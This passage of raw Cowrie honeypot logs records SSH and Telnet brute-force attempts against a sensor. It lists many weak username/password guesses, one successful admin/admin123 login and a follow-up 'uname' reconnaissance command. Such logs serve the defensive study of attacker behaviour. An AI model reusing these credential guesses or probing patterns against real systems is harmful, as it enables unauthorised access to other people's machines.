com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:24.485777Z","src_ip":"45.156.87.254","session":"c3beafbaeb0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"amir","message":"login attempt [amir/amir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:24.734906Z","src_ip":"45.156.87.254","session":"c3beafbaeb0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:25.948805Z","src_ip":"45.156.87.254","session":"c3beafbaeb0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":55482,"dst_ip":"159.203.135.109","dst_port":22,"session":"16a1fa468616","protocol":"ssh","message":"New connection: 45.156.87.254:55482 (159.203.135.109:22) [session: 16a1fa468616]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:29.335361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:29.339983Z","src_ip":"45.156.87.254","session":"16a1fa468616","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":53934,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac8c64a14146","protocol":"telnet","message":"New connection: 20.123.41.163:53934 (10.17.0.5:23) [session: ac8c64a14146]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:29.344773Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:29.423737Z","src_ip":"45.156.87.254","session":"16a1fa468616","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"123456","message":"login attempt [tom/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:29.687202Z","src_ip":"45.156.87.254","session":"16a1fa468616","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.2235493659973145,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:30.568406Z","src_ip":"20.123.41.163","session":"ac8c64a14146","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:30.776110Z","src_ip":"45.156.87.254","session":"16a1fa468616","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":55498,"dst_ip":"159.203.135.109","dst_port":22,"session":"a78cf44e4568","protocol":"ssh","message":"New connection: 45.156.87.254:55498 (159.203.135.109:22) [session: a78cf44e4568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:34.564797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:34.569322Z","src_ip":"45.156.87.254","session":"a78cf44e4568","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:34.652020Z","src_ip":"45.156.87.254","session":"a78cf44e4568","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123456","message":"login attempt [testuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:34.902459Z","src_ip":"45.156.87.254","session":"a78cf44e4568","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:35.988628Z","src_ip":"45.156.87.254","session":"a78cf44e4568","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":36070,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ff581f26e3a","protocol":"ssh","message":"New connection: 45.156.87.254:36070 (159.203.135.109:22) [session: 5ff581f26e3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:39.382477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:39.387043Z","src_ip":"45.156.87.254","session":"5ff581f26e3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:39.473218Z","src_ip":"45.156.87.254","session":"5ff581f26e3a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123","message":"login attempt [admin/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:39.726950Z","src_ip":"45.156.87.254","session":"5ff581f26e3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.167031049728394,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:39.888020Z","src_ip":"20.123.41.163","session":"e61e6ae871ef","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:39.941283Z","src_ip":"45.156.87.254","session":"5ff581f26e3a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:39.944535Z","src_ip":"45.156.87.254","session":"5ff581f26e3a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:40.030466Z","src_ip":"45.156.87.254","session":"5ff581f26e3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:40.036229Z","src_ip":"45.156.87.254","session":"5ff581f26e3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":49880,"dst_ip":"10.17.0.5","dst_port":23,"session":"db9c060d571c","protocol":"telnet","message":"New connection: 20.123.41.163:49880 (10.17.0.5:23) [session: db9c060d571c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:40.146619Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":38102,"dst_ip":"10.17.0.5","dst_port":23,"session":"96bcb3cebb64","protocol":"telnet","message":"New connection: 104.245.105.2:38102 (10.17.0.5:23) [session: 96bcb3cebb64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:41.047436Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":36084,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5cb841a2a0b","protocol":"ssh","message":"New connection: 45.156.87.254:36084 (159.203.135.109:22) [session: d5cb841a2a0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:44.447369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:44.451710Z","src_ip":"45.156.87.254","session":"d5cb841a2a0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:44.535553Z","src_ip":"45.156.87.254","session":"d5cb841a2a0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hzx","password":"hzx","message":"login attempt [hzx/hzx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:44.782822Z","src_ip":"45.156.87.254","session":"d5cb841a2a0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:45.869302Z","src_ip":"45.156.87.254","session":"d5cb841a2a0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.30.115.187","src_port":50514,"dst_ip":"10.17.0.5","dst_port":22,"session":"d87e9230ee60","protocol":"ssh","message":"New connection: 186.30.115.187:50514 (10.17.0.5:22) [session: d87e9230ee60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:46.293219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:46.299160Z","src_ip":"186.30.115.187","session":"d87e9230ee60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:46.398865Z","src_ip":"186.30.115.187","session":"d87e9230ee60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"1234567890","message":"login attempt [ftpuser/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:46.808661Z","src_ip":"186.30.115.187","session":"d87e9230ee60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:47.910742Z","src_ip":"186.30.115.187","session":"d87e9230ee60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.056422233581543,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:48.202932Z","src_ip":"20.123.41.163","session":"db9c060d571c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.54181218147278,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:49.130690Z","src_ip":"104.245.105.2","session":"776ee30ae64b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":36470,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a390ac019cf","protocol":"ssh","message":"New connection: 45.156.87.254:36470 (159.203.135.109:22) [session: 0a390ac019cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:49.374600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:49.402860Z","src_ip":"45.156.87.254","session":"0a390ac019cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:49.461742Z","src_ip":"45.156.87.254","session":"0a390ac019cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test1234","message":"login attempt [root/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:49.787636Z","src_ip":"45.156.87.254","session":"0a390ac019cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:50.880700Z","src_ip":"45.156.87.254","session":"0a390ac019cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":36472,"dst_ip":"159.203.135.109","dst_port":22,"session":"91a7d2e6411c","protocol":"ssh","message":"New connection: 45.156.87.254:36472 (159.203.135.109:22) [session: 91a7d2e6411c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:54.034516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:54.039473Z","src_ip":"45.156.87.254","session":"91a7d2e6411c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:54.266110Z","src_ip":"45.156.87.254","session":"91a7d2e6411c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres","message":"login attempt [postgres/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:54.573271Z","src_ip":"45.156.87.254","session":"91a7d2e6411c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:55.659868Z","src_ip":"45.156.87.254","session":"91a7d2e6411c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.16.214.226","src_port":39528,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec12599896c2","protocol":"ssh","message":"New connection: 185.16.214.226:39528 (10.17.0.5:22) [session: ec12599896c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:56.498354Z"}
